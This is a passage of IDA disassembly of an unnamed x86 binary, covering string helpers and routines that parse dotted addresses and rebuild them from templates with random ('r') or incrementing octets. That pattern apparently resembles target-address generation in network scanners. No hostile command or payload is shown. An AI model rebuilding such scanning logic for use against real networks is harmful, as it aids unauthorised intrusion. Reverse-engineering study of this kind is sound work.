		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------


loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------


loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0


loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB


loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9


loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------


loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------


loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------


loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------


loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------


loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9


loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------


loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------


loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------


loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------


loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41F028
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------


loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------


loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F028
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------


loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx


loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------


loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408161:				; CODE XREF: sub_40813C+1Cj
